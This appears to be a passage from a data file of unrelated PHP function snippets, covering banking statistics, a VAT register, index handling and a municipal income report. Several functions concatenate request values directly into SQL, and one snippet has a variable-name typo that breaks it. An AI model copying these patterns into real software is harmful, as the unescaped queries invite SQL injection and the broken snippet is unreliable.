id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0 GROUP BY id_titulaire) AS t\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $epargne_moyen_client = $row[0];\n\n // Médiane épargne par client\n $sql = \"SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) AS solde, id_titulaire FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND solde <> 0 GROUP BY id_titulaire ORDER BY solde\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauEpargne = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauEpargne, $row[0]);\n }\n\n $taille = sizeof($tableauEpargne);\n if ($taille == 0) {\n $epargne_median_client = NULL;\n }\n elseif ($taille % 2 == 1) {\n $epargne_median_client = $tableauEpargne[($taille -1) / 2];\n }\n else {\n $epargne_median_client = ($tableauEpargne[($taille) / 2] + $tableauEpargne[($taille / 2) - 1]) / 2;\n }\n\n // Tableau de données\n $DATA['nombre_credits'] += $nombre_credits;\n $DATA['encours_brut'] += $encours_brut;\n $DATA['nombre_epargne'] += $nombre_epargne;\n $DATA['total_epargne'] += $total_epargne;\n $DATA['taux_renouvellement_credits'] += $taux_renouvellement_credits;\n $DATA['first_credit_moyen'] += $first_credit_moyen;\n $DATA['first_credit_median'] += $first_credit_median;\n $DATA['credit_moyen'] += $credit_moyen;\n $DATA['credit_median'] += $credit_median;\n $DATA['epargne_moyen_cpte'] += $epargne_moyen_cpte;\n $DATA['epargne_median_cpte'] += $epargne_median_cpte;\n $DATA['epargne_moyen_client'] += $epargne_moyen_client;\n $DATA['epargne_median_client'] += $epargne_median_client;\n }\n $dbHandler->closeConnection(true);\n\n return $DATA;\n}", "protected function setUpIndex()\n {\n $this->getOldTable()->createColumn('foo', Type::STRING, array('length' => 50));\n $this->getOldTable()->createColumn('bar', Type::STRING, array('length' => 50));\n\n $this->getOldTable()->createIndex(array('foo'), false, 'idx_foo');\n\n $this->createOldTable();\n }", "public function imprimirTabla()\r\n {\r\n try\r\n {\r\n $consulta = \"SELECT * FROM xxnombretabla\";//el nombre de la tabla\r\n $objeto = $this->PDO->prepare($consulata);\r\n $objeto->execute();\r\n $tabla = $objeto->fetchAll(PDO::FETCH_OBJ);\r\n\r\n foreach ($tabla as $fila )\r\n {\r\n $xxnombreclase = new xxnombreclase();//se instancia la clase que se esta haciendo\r\n $xxnombreclase->__SET('xid:clase', $fila->xxcampoTabla);//se llama el campo de la tabla que corresponda con el atributo de la clase\r\n $xxnombreclase->__SET('xatributo:clase',$fila->xxcampoTabla);//se repite segun los campos que hayan en la tabla\r\n\r\n $result[] = $xxnombreclase;//se mete en el arreglo result[] la varible con la clase\r\n }\r\n\r\n } catch (Exception $e) {\r\n die($e->getMessage());\r\n }\r\n\r\n return $result;//se devuelve el arreglo result\r\n }", "function define_indexes()\n {\n\t\tif( !isset($this->input['st']) )\n\t\t{\n\t\t\t$this->input['st'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['t']) )\n\t\t{\n\t\t\t$this->input['t'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['p']) )\n\t\t{\n\t\t\t$this->input['p'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['pid']) )\n\t\t{\n\t\t\t$this->input['pid'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['gopid']) )\n\t\t{\n\t\t\t$this->input['gopid'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['L']) )\n\t\t{\n\t\t\t$this->input['L'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['f']) )\n\t\t{\n\t\t\t$this->input['f'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['cal_id']) )\n\t\t{\n\t\t\t$this->input['cal_id'] = 0;\n\t\t}\n\t\t\n\t\tif( !isset($this->input['code']) )\n\t\t{\n\t\t\t$this->input['code'] = '';\n\t\t}\n\t\t\n\t\tif( !isset($this->input['CODE']) )\n\t\t{\n\t\t\t$this->input['CODE'] = '';\n\t\t}\n\t}", "function getRows($gTables) {\r\n //recupero i movimenti IVA del conto insieme alle relative testate\r\n $what = $gTables['tesmov'] . \".*, \" .\r\n $gTables['rigmoi'] . \".*,\r\n\t\t\t\tDATE_FORMAT(datliq,'%Y%m%d') AS dl,\r\n DATE_FORMAT(datreg,'%Y%m%d') AS dr,\r\n CONCAT(\" . $gTables['anagra'] . \".ragso1, ' ',\" . $gTables['anagra'] . \".ragso2) AS ragsoc, \" .\r\n $gTables['aliiva'] . \".descri AS desiva \";\r\n $table = $gTables['rigmoi'] . \" LEFT JOIN \" . $gTables['tesmov'] . \" ON (\" . $gTables['rigmoi'] . \".id_tes = \" . $gTables['tesmov'] . \".id_tes)\r\n LEFT JOIN \" . $gTables['clfoco'] . \" ON (\" . $gTables['tesmov'] . \".clfoco = \" . $gTables['clfoco'] . \".codice)\r\n LEFT JOIN \" . $gTables['anagra'] . \" ON (\" . $gTables['anagra'] . \".id = \" . $gTables['clfoco'] . \".id_anagra)\r\n LEFT JOIN \" . $gTables['aliiva'] . \" ON (\" . $gTables['rigmoi'] . \".codiva = \" . $gTables['aliiva'] . \".codice)\";\r\n $orderby = \"datreg ASC , protoc ASC, id_rig ASC\";\r\n\t\t$where = \"(datreg BETWEEN \".$this->inidate.\" AND \".$this->enddate.\" OR datliq BETWEEN \".$this->inidate.\" AND \".$this->enddate.\") AND seziva = \".$this->vatsect.\" AND regiva = \".$this->typbook;\r\n //$where = \"datreg BETWEEN \" . $this->inidate . \" AND \" . $this->enddate . \" AND seziva = \" . $this->vatsect . \" AND regiva = \" . $this->typbook;\r\n $result = gaz_dbi_dyn_query($what, $table, $where, $orderby);\r\n $this->rows = array();\r\n $this->vat_castle = array();\r\n $this->vat_castle_liq = array();\r\n $this->acc_castle = array();\r\n $this->acc_operation_type[0] = 0;\r\n $this->taxable = 0.00;\r\n $this->tax = 0.00;\r\n $this->taxable_liq = 0.00;\r\n $this->tax_liq = 0.00;\r\n $ctrl_idtes = 0;\r\n while ($mov = gaz_dbi_fetch_array($result)) {\r\n\t\t\t$reg_yes=false;\r\n $codiva = $mov['codiva'];\r\n $id_tes = $mov['id_tes'];\r\n $op_typ = trim($mov['operation_type']);\r\n if ($op_typ == '') {\r\n $op_typ = 0;\r\n }\r\n switch ($mov['operat']) {\r\n case \"1\":\r\n $taxable = $mov['imponi'];\r\n $tax = $mov['impost'];\r\n break;\r\n case \"2\":\r\n $taxable = -$mov['imponi'];\r\n $tax = -$mov['impost'];\r\n break;\r\n default:\r\n $taxable = 0;\r\n $tax = 0;\r\n break;\r\n }\r\n if ($this->typbook==9){\r\n $taxable = 0;\r\n $tax = $mov['impost'];\r\n }\r\n\t\t\t\r\n// INIZIO TIPIZZAZIONE MOVIMENTI PER DISTINGUERE QUELLI CHE VANNO SUL REGISTRO DEL PERIODO \r\n// DA QUELLI CHE PARTECIPANO ALLA LIQUIDAZIONE IVE DEL PERIODO SELEZIONATO\r\n\t\t// INIZIO MOVIMENTI DI REGISTRO\r\n\t\t$mov['liq_class']='';\r\n\t\tif($mov['dr']<$this->inidate){ // fattura pregressa, precedente al periodo selezionato ma che concorre alla liquidazione \r\n\t\t\t$mov['liq_class']='danger';\r\n\t\t}elseif($mov['dr']>$this->enddate){// fattura successiva al periodo selezionato ma che concorre alla liquidazione es. acquisto egistrato nei 15gg successivi\r\n\t\t\t$mov['liq_class']='danger';\r\n\t\t}else{ // fatture che fanno parte del registro \r\n \t\t\t$reg_yes=true; // il movimento fa parte del registro, a prescidere che sia liquidabile o meno\r\n\t\t\t$this->taxable += $taxable;\r\n\t\t\tif ($mov['tipiva'] != 'D' && $mov['tipiva'] != 'T') { // se NON indetraibili o split payment\r\n\t\t\t\t$this->tax += $tax;\r\n\t\t\t}\r\n\t\t\tif (!isset($this->vat_castle[$codiva])) {\r\n\t\t\t\t$this->vat_castle[$codiva]['taxable'] = 0;\r\n\t\t\t\t$this->vat_castle[$codiva]['tax'] = 0;\r\n\t\t\t\t$this->vat_castle[$codiva]['tipiva'] = $mov['tipiva'];\r\n\t\t\t\t$this->vat_castle[$codiva]['descri'] = $mov['desiva'];\r\n\t\t\t\t$this->vat_castle[$codiva]['periva'] = $mov['periva'];\r\n\t\t\t}\r\n\t\t\t$this->vat_castle[$codiva]['taxable'] += $taxable;\r\n\t\t\t$this->vat_castle[$codiva]['tax'] += $tax;\r\n\t\t}\r\n\t\t// FINE MOVIMENTI DI REGISTRO\r\n\r\n\t\t// INIZIO MOVIMENTI DI LIQUIDAZIONE\r\n\t\tif (!isset($this->vat_castle_liq[$codiva])){\r\n\t\t\t$this->vat_castle_liq[$codiva]['taxable'] = 0;\r\n\t\t\t$this->vat_castle_liq[$codiva]['tax'] = 0;\r\n\t\t\t$this->vat_castle_liq[$codiva]['tipiva'] = $mov['tipiva'];\r\n\t\t\t$this->vat_castle_liq[$codiva]['descri'] = $mov['desiva'];\r\n\t\t\t$this->vat_castle_liq[$codiva]['periva'] = $mov['periva'];\r\n\t\t}\r\n\t\t$mov['liq_val']='';\r\n\t\tif ($mov['dl']< $this->inidate){\r\n\t\t\t$mov['liq_val']='GIÀ LIQUIDATA'; \t\t\t\t\t\r\n\t\t\t$mov['liq_class']='danger';\r\n\t\t} elseif ($mov['dl']>$this->enddate){\r\n\t\t\t$mov['liq_val']='NON LIQUIDATA'; \t\t\t\t\t\r\n\t\t\t$mov['liq_class']='warning';\r\n\t\t} else {\r\n\t\t\t$mov['liq_val']=gaz_format_number($tax);\r\n\t\t\t$this->taxable_liq += $taxable;\r\n\t\t\t$this->tax_liq += $tax;\r\n $this->vat_castle_liq[$codiva]['taxable'] += $taxable;\r\n $this->vat_castle_liq[$codiva]['tax'] += $tax;\r\n\t\t}\r\n\t\t// FINE MOVIMENTI DI LIQUIDAZIONE\t\t\r\n\t\t\t\r\n// FINE TIPIZZAZIONE REGISTRO - LIQUIDAZIONE // aggiungo ai totali generali\r\n //se e' una semplificata recupero anche i righi contabili\r\n $this->acc_rows = array();\r\n if (!isset($this->acc_operation_type[$op_typ])) {\r\n $this->acc_operation_type[$op_typ] = $taxable;\r\n } else {\r\n $this->acc_operation_type[$op_typ] += $taxable;\r\n }\r\n if ($this->semplificata == 1 && $ctrl_idtes <> $id_tes && $reg_yes==true) { // solo se il movimento fa parte del registro recupero i dati di costo\r\n $rs_accounting_rows = gaz_dbi_dyn_query(\"*\", $gTables['rigmoc'] . \" LEFT JOIN \" . $gTables['clfoco'] . \" ON (\" . $gTables['rigmoc'] . \".codcon = \" . $gTables['clfoco'] . \".codice)\", \"id_tes = '\" . $mov['id_tes'] . \"'\r\n AND codcon NOT LIKE '\" . $this->azienda['mascli'] . \"%'\r\n AND codcon NOT LIKE '\" . $this->azienda['masfor'] . \"%'\r\n AND codcon NOT LIKE '\" . substr($this->azienda['cassa_'], 0, 3) . \"%'\r\n AND codcon NOT LIKE '\" . $this->azienda['masban'] . \"%'\r\n AND codcon <> \" . $this->azienda['ivaacq'] . \"\r\n AND codcon <> \" . $this->azienda['ivaven'] . \"\r\n AND codcon <> \" . $this->azienda['ivacor'], \"id_rig asc\");\r\n while ($acc_rows = gaz_dbi_fetch_array($rs_accounting_rows)) {\r\n $codcon = $acc_rows['codcon'];\r\n if (!isset($this->acc_castle[$codcon])) {\r\n $this->acc_castle[$codcon] = array('value' => 0, 'descri' => '');\r\n $this->acc_castle[$codcon]['descri'] = $acc_rows['descri'];\r\n }\r\n if (($acc_rows['darave'] == 'A' && $mov['regiva'] == 6) || ($acc_rows['darave'] == 'D' && $mov['regiva'] <= 5)) {\r\n $this->acc_castle[$codcon]['value'] -= $acc_rows['import'];\r\n } else {\r\n $this->acc_castle[$codcon]['value'] += $acc_rows['import'];\r\n }\r\n $this->acc_rows[$codcon] = array('value' => $acc_rows['import'], 'descri' => $acc_rows['descri']);\r\n }\r\n $this->rows[] = $mov + array('acc_rows' => $this->acc_rows);\r\n } else {\r\n $this->rows[] = $mov;\r\n }\r\n $ctrl_idtes = $id_tes;\r\n }\r\n }", "function delete() {\n $fetchPrimary = $this->mysqlConnection->query(\"SHOW INDEX FROM \".$this->table);\n $arrayIndex = $fetchPrimary->fetch(PDO::FETCH_ASSOC);\n $kolomIndex = $arrayIndex['Column_name'];\n\n\t\t\t// Delete het huidige record.\n\n\t\t\t$deleteQuery = \"DELETE FROM \".$this->table.\" WHERE \".$kolomIndex.\" = \".$this->originalValues[$kolomIndex];\n\t\t\t$this->lastQuery = $deleteQuery;\n\n $deleteTable = $this->mysqlConnection->prepare($this->lastQuery);\n $deleteTable->execute();\n\n\t\t}", "protected function addIndexes(Table $table)\n {\n $stmt = $this->dbh->query(\"SHOW INDEX FROM `\" . $table->getName() . \"`\");\n\n // Loop through the returned results, grouping the same key_name together\n // adding each column for that key.\n\n $indexes = array();\n while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {\n $colName = $row[\"Column_name\"];\n $name = $row[\"Key_name\"];\n\n if ($name == \"PRIMARY\") {\n continue;\n }\n\n if (!isset($indexes[$name])) {\n $isUnique = ($row[\"Non_unique\"] == 0);\n if ($isUnique) {\n $indexes[$name] = new Unique($name);\n } else {\n $indexes[$name] = new Index($name);\n }\n if ($this->addVendorInfo) {\n $vi = $this->getNewVendorInfoObject($row);\n $indexes[$name]->addVendorInfo($vi);\n }\n $table->addIndex($indexes[$name]);\n }\n\n $indexes[$name]->addColumn($table->getColumn($colName));\n }\n }", "function slaveAllIndexes() {\n $this->db_slave->executeSQL(\"SELECT \" . $this->idx_slave . \" from \" . $this->db_slave->database . \".\" . $this->table_slave);\n }", "public function getPosicoesDasColunasDaPlanilha($rows)\n {\n $index = array(\n 'columns' => array(\n 'nome_completo' => false,\n 'email' => false,\n 'cpf' => false,\n 'data_nascimento' => false,\n 'instituicao' => false\n )\n );\n $x = 0;\n \n while ($row = current($rows)) {\n \n if (in_array('CPF', $row) && in_array('Nome completo', $row) && in_array('Data de nascimento', $row)) {\n $index['row'] = $x + 1;\n \n // buscar índice do campo cpf\n foreach (array(\n 'Data de nascimento',\n 'data de nascimento',\n 'DATA DE NASCIMENTO',\n 'NASCIMENTO'\n ) as $value) {\n if ($index['columns']['data_nascimento'] === false) {\n $index['columns']['data_nascimento'] = array_search($value, $row, false);\n }\n }\n \n // buscar índice do campo cpf\n foreach (array(\n 'CPF',\n 'cpf',\n 'Cpf'\n ) as $value) {\n \n if ($index['columns']['cpf'] === false) {\n $index['columns']['cpf'] = array_search($value, $row, false);\n }\n }\n \n // buscar índice do campo Nome completo\n foreach (array(\n 'Nome completo',\n 'nome completo',\n 'Nome Completo',\n 'NOME COMPLETO'\n ) as $value) {\n if ($index['columns']['nome_completo'] === false) {\n $index['columns']['nome_completo'] = array_search($value, $row, false);\n }\n }\n \n // buscar índice do campo email\n foreach (array(\n 'Email',\n 'email',\n 'e-mail',\n 'EMAIL',\n 'E-MAIL'\n ) as $value) {\n if ($index['columns']['email'] === false) {\n $index['columns']['email'] = array_search($value, $row, false);\n }\n }\n \n // buscar índice do campo Instituição\n foreach (array(\n 'É Estudante do IFBA/Vitória da Conquista',\n 'É Estudante do IFBA/Vitória da Conquista',\n 'É Estudante do IFBA/Vitória da Conquista',\n 'É Estudante do IFBA/Vitória da Conquista'\n ) as $value) {\n if ($index['columns']['instituicao'] === false) {\n $index['columns']['instituicao'] = array_search($value, $row, false);\n }\n }\n }\n $x ++;\n next($rows);\n }\n \n return $index;\n }", "function getTablaInformeAjuntament($desde,$hasta){\n \n // $this->ponerHorasTaller();\n // $this->ponerNumRegistro();\n \n \n $letra=getLetraCasal();\n $numeroRegistroCasalIngresos=getNumeroRegistroCasalIngresos();\n $numeroRegistroCasalDevoluciones=getNumeroRegistroCasalDevoluciones();\n \n $sql=\"SELECT id FROM casal_recibos WHERE fecha>='$desde' AND fecha<='$hasta' ORDER BY id ASC LIMIT 1\";\n if($this->db->query($sql)->num_rows()==0){\n $primero=0;\n }\n else {\n $primero=$this->db->query($sql)->row()->id;\n }\n \n $sql=\"SELECT id FROM casal_recibos WHERE fecha>='$desde' AND fecha<='$hasta' ORDER BY id DESC LIMIT 1\";\n if($this->db->query($sql)->num_rows()==0){\n $ultimo=0;\n }\n else {\n $ultimo=$this->db->query($sql)->row()->id;\n }\n \n $sql=\"SELECT r.id as id, r.fecha as fecha , r.id_socio as id_socio , r.importe as importe , r.recibo as recibo, s.nombre as nombre,s.apellidos as apellidos \n FROM casal_recibos r\n LEFT JOIN casal_socios_nuevo s ON s.num_socio=r.id_socio\n WHERE fecha>='$desde' AND fecha<='$hasta' ORDER BY r.id\";\n \n $sql=\"SELECT r.fecha as fecha,\"\n . \" lr.id_recibo as recibo,\"\n . \" lr.importe as importe, \"\n . \" t.nombre_corto as nombre,\"\n . \" t.horas_taller_T1 as horas_taller_T1,\"\n . \" t.horas_taller_T2 as horas_taller_T2,\"\n . \" t.horas_taller_T3 as horas_taller_T3,\"\n . \" s.dni as dni,\"\n . \" lr.tarjeta as tarjeta,\"\n . \" lr.periodos as periodos,\"\n . \" lr.id_taller as id_taller,\"\n . \" lr.id_socio as id_socio,\"\n . \" lr.id as id,\"\n . \" lr.num_registro as num_registro,\"\n . \" lr.num_registro_posicion as num_registro_posicion,\"\n . \" s.num_socio as num_socio\"\n . \" FROM casal_lineas_recibos lr\"\n . \" LEFT JOIN casal_recibos r ON lr.id_recibo=r.id\"\n . \" LEFT JOIN casal_talleres t ON t.id=lr.id_taller\"\n . \" LEFT JOIN casal_socios_nuevo s ON s.num_socio=lr.id_socio\"\n . \" WHERE lr.importe>0 AND lr.id_recibo>='$primero' AND lr.id_recibo<='$ultimo' ORDER BY lr.num_registro_posicion\";\n \n //log_message('INFO',$sql);\n \n $recibos=array(); \n if($this->db->query($sql)->num_rows()>0) \n $recibos=$this->db->query($sql)->result();\n \n \n $cabeceraTabla='<table class=\"table table-bordered table-hover\"><tbody>\n <thead>\n <tr >\n <th class=\"col-sm-1 text-center\">Data</th>\n <th class=\"col-sm-1 text-center\">Num Registre</th>\n <th class=\"col-sm-1 text-center\">DNI Usuari</th>\n <th class=\"col-sm-1 text-center\">Nom Actividad</th>\n <th class=\"col-sm-1 text-center\">Num Registre Ingrés</th>\n <th class=\"col-sm-1 text-center\" >Preu/hora</th>\n <th class=\"col-sm-1 text-center\">Import Base</th>\n <th class=\"col-sm-1 text-center\">% IVA (exempt)</th>\n <th class=\"col-sm-1 text-center\" style=\"border-top:2px solid black;border-right:2px solid black;border-left:2px solid black;\">IMPORT TOTAL</th>\n <th class=\"col-sm-1 text-center\">TIPOLOGIA INGRES</th>\n \n </tr>';\n \n \n \n $tabla=$cabeceraTabla;\n \n $importeTotal=0;\n foreach ($recibos as $k=>$v) {\n $fecha=$v->fecha;\n $fecha=substr($fecha,8,2).'/'.substr($fecha,5,2).'/'.substr($fecha,0,4);\n $tabla.='<tr>';\n $tabla.='<td class=\"text-center\">';\n $tabla.= $fecha;\n $tabla.='</td>';\n \n $num=strval($v->num_registro_posicion);\n while(strlen($num)<5) {\n $num='0'.$num;\n }\n $tabla.='<td class=\"text-center\">';\n $tabla.= $v->num_registro.$num;\n $tabla.='</td>';\n \n \n $dni=$v->dni;\n if($this->socios_model->validar_dni($dni)){\n $tabla.='<td class=\"text-center\">';\n $tabla.= strtoupper($dni);\n $tabla.='</td>';\n }\n else{\n $tabla.='<td class=\"text-center\" style=\"color:red\">';\n $tabla.= strtoupper($dni).\"(\".$v->num_socio.\")\";\n $tabla.='</td>';\n }\n \n $nombre=$v->nombre;\n $tabla.='<td class=\"text-center\">';\n $tabla.= $nombre;\n $tabla.='</td>';\n \n $recibo=$letra.' '.$v->recibo; \n $tabla.='<td class=\"text-center\">';\n $tabla.= $recibo;\n $tabla.='</td>';\n \n if($v->periodos==4) $horas=floatval($v->horas_taller_T1);\n if($v->periodos==2) $horas=floatval($v->horas_taller_T2);\n if($v->periodos==1) $horas=floatval($v->horas_taller_T3); \n //log_message('INFO', '===================='.$v->nombre.' '.$horas);\n \n if($horas>0)\n $preu_hora=number_format($v->importe/$horas*100,2); \n else \n $preu_hora=0;\n\n $tabla.='<td class=\"text-center\">';\n $tabla.= $preu_hora;\n $tabla.='</td>';\n \n \n \n $importe=$v->importe;\n $tabla.='<td class=\"text-center\" >';\n $tabla.= number_format($importe,2);\n $tabla.='</td>';\n \n $importe=$v->importe;\n $tabla.='<td class=\"text-center\">';\n $tabla.= '0.00';\n $tabla.='</td>';\n \n $importe=number_format($v->importe,2);\n $tabla.='<td class=\"text-center\" style=\"border-right:2px solid black;border-left:2px solid black;\">';\n $tabla.= number_format($importe,2);\n $tabla.='</td>';\n $importeTotal+=number_format($importe,2);\n \n $tarjeta=number_format($v->tarjeta,2);\n if($tarjeta==0) $pago=\"Efectiu\"; else $pago=\"TPV fisic\";\n $tabla.='<td class=\"text-center\">';\n $tabla.= $pago;\n $tabla.='</td>';\n \n $tabla.='</tr>';\n }\n \n \n $pieTabla='</tr></thead><thead><tr>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:0px solid white;border-left:1px solid white;\"></th>';\n $pieTabla.='<th class=\"text-center\">T O T A L S</th>';\n $pieTabla.='<th class=\"text-center\" style=\"border-bottom:2px solid black;border-right:2px solid black;border-left:2px solid black;\">';\n $pieTabla.=number_format($importeTotal,2);\n $pieTabla.='</th>';\n $pieTabla.='</tr></thead></tody></table>';\n \n $tabla.=$pieTabla;\n \n \n $cabeceraTablaDevoluciones='<table class=\"table table-bordered table-hover\"><tbody>\n <thead>\n <tr >\n <th class=\"col-sm-1 text-center\">Data</th>\n <th class=\"col-sm-1 text-center\">Num Registre</th>\n <th class=\"col-sm-1 text-center\">DNI Usuari</th>\n <th class=\"col-sm-1 text-center\">Nom Actividad</th>\n <th class=\"col-sm-1 text-center\">Num Registre Devolució</th>\n <th class=\"col-sm-1 text-rigcenterht\" >Preu/hora</th>\n <th class=\"col-sm-1 text-center\">Import Base</th>\n <th class=\"col-sm-1 text-center\">% IVA (exempt)</th>\n <th class=\"col-sm-1 text-center\" style=\"border-top:2px solid black;border-right:2px solid black;border-left:2px solid black;\">IMPORT TOTAL</th>\n <th class=\"col-sm-1 text-center\">TIPOLOGIA DEVOLUCIÓ</th>\n \n </tr>';\n \n $tituloCasal=strtoupper(getTituloCasal());\n $salida='<h4>INFORME DETALLAT INGRESSOS</h4>'\n . ''\n . 'EQUIPAMENT MUNICIPA: <STRONG>'.$tituloCasal.'</STRONG>'\n . '<BR>'\n . 'ADJUDICATARI: <STRONG>'.'SERVEIS A LES PERSONES INCOOP, SCCL</STRONG>'\n . '<BR>'\n . 'NIF ADJUDICATARI: <STRONG>F60137411</STRONG>'\n . '<BR>'\n . 'NÚM CONTRACTE: <STRONG>18001022</STRONG>'\n . '<BR>'\n . 'Periode: <STRONG>'.substr($desde,8,2).'/'.substr($desde,5,2).'/'.substr($desde,0,4).' - '.substr($hasta,8,2).'/'.substr($hasta,5,2).'/'.substr($hasta,0,4).'</STRONG>'\n . '<BR>'\n . '<BR>'\n \n .$tabla.'<br>';\n \n $sql=\"SELECT r.fecha as fecha,\"\n . \" lr.id_recibo as recibo,\"\n . \" lr.importe as importe, \"\n . \" t.nombre_corto as nombre,\"\n . \" t.horas_taller_T1 as horas_taller_T1,\"\n . \" t.horas_taller_T2 as horas_taller_T2,\"\n . \" t.horas_taller_T3 as horas_taller_T3,\"\n . \" s.dni as dni,\"\n . \" lr.tarjeta as tarjeta,\"\n . \" lr.periodos as periodos,\"\n . \" lr.id_taller as id_taller,\"\n . \" lr.id_socio as id_socio,\"\n . \" lr.id as id,\"\n . \" lr.num_registro as num_registro,\"\n . \" lr.num_registro_posicion as num_registro_posicion,\"\n . \" s.num_socio\"\n . \" FROM casal_lineas_recibos lr\"\n . \" LEFT JOIN casal_recibos r ON lr.id_recibo=r.id\"\n . \" LEFT JOIN casal_talleres t ON t.id=lr.id_taller\"\n . \" LEFT JOIN casal_socios_nuevo s ON s.num_socio=lr.id_socio\"\n . \" WHERE lr.importe<0 AND lr.id_recibo>='$primero' AND lr.id_recibo<='$ultimo' ORDER BY lr.num_registro_posicion\";\n \n \n \n $recibos=array(); \n if($this->db->query($sql)->num_rows()>0) \n $recibos=$this->db->query($sql)->result();\n \n $tabla=$cabeceraTablaDevoluciones;\n $importeTotalDevoluciones=0;\n foreach ($recibos as $k=>$v) {\n $fecha=$v->fecha;\n $fecha=substr($fecha,8,2).'/'.substr($fecha,5,2).'/'.substr($fecha,0,4);\n $tabla.='<tr>';\n $tabla.='<td class=\"text-center\">';\n $tabla.= $fecha;\n $tabla.='</td>';\n \n $num=strval($v->num_registro_posicion);\n while(strlen($num)<5) {\n $num='0'.$num;\n } \n $tabla.='<td class=\"text-center\">';\n $tabla.= $v->num_registro.$num;;\n $tabla.='</td>';\n \n $dni=$v->dni;\n if($this->socios_model->validar_dni($dni)){\n $tabla.='<td class=\"text-center\">';\n $tabla.= strtoupper($dni);\n $tabla.='</td>';\n }\n else{\n $tabla.='<td class=\"text-center\" style=\"color:red\">';\n $tabla.= strtoupper($dni).\"(\".$v->num_socio.\")\";\n $tabla.='</td>';\n }\n \n $nombre=$v->nombre;\n $tabla.='<td class=\"text-center\">';\n $tabla.= $nombre;\n $tabla.='</td>';\n \n $recibo=$letra.' '.$v->recibo; \n $tabla.='<td class=\"text-center\">';\n $tabla.= $recibo;\n $tabla.='</td>';\n \n \n \n /*\n $id_taller=$v->id_taller;\n $periodos=$v->periodos;\n $id_socio=$v->id_socio;\n $importe=-$v->importe;\n $id=$v->id;\n $sql=\"SELECT * FROM casal_lineas_recibos WHERE id<'$id' AND id_taller='$id_taller' AND id_socio='$id_socio' AND periodos='$periodos' AND importe='$importe' ORDER BY id DESC LIMIT 1\";\n //log_message('INFO',$sql);\n if($this->db->query($sql)->num_rows()==1) {\n $recibo=$letra.' '.$this->db->query($sql)->row()->id_recibo;\n }\n else $recibo='';\n $tabla.='<td class=\"text-center\">';\n $tabla.= $recibo;\n $tabla.='</td>';\n */\n \n \n if($v->periodos==4) $horas=$v->horas_taller_T1;\n if($v->periodos==2) $horas=$v->horas_taller_T2;\n if($v->periodos==1) $horas=$v->horas_taller_T3; \n \n //log_message('INFO', '++=================='.$v->nombre.' '.$horas);\n \n $preu_hora=number_format($v->importe/$horas*100,2); \n $tabla.='<td class=\"text-center\">';\n $tabla.= -$preu_hora;\n $tabla.='</td>';\n \n \n \n $importe=number_format($v->importe,2);\n $tabla.='<td class=\"text-center\" >';\n $tabla.= -$importe;\n $tabla.='</td>';\n \n $importe=number_format($v->importe,2);\n $tabla.='<td class=\"text-center\">';\n $tabla.= '0.00';\n $tabla.='</td>';\n \n $importe=number_format($v->importe,2);\n $tabla.='<td class=\"text-center\" style=\"border-right:2px solid black;border-left:2px solid black;\">';\n $tabla.= -$importe;\n $tabla.='</td>';\n $importeTotalDevoluciones+=$importe;\n \n $tarjeta=number_format($v->tarjeta,2);\n if($tarjeta==0) $pago=\"Efectiu\"; else $pago=\"TPV fisic\";\n $tabla.='<td class=\"text-center\">';\n $tabla.= $pago;\n $tabla.='</td>';\n \n $tabla.='</tr>';\n }\n \n \n \n \n $pieTablaDevoluciones='</tr></thead><thead><tr>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:1px solid white;border-right:0px solid white;border-left:1px solid white;\"></th>';\n $pieTablaDevoluciones.='<th class=\"text-center\">T O T A L S</th>';\n $pieTablaDevoluciones.='<th class=\"text-center\" style=\"border-bottom:2px solid black;border-right:2px solid black;border-left:2px solid black;\">';\n $pieTablaDevoluciones.=-number_format($importeTotalDevoluciones,2);\n $pieTablaDevoluciones.='</th>';\n $pieTablaDevoluciones.='</tr></thead></tody></table>';\n \n \n \n \n \n $salida.='<h4>INFORME DETALLAT DEVOLUCIONS</h4>'\n . ''\n . 'EQUIPAMENT 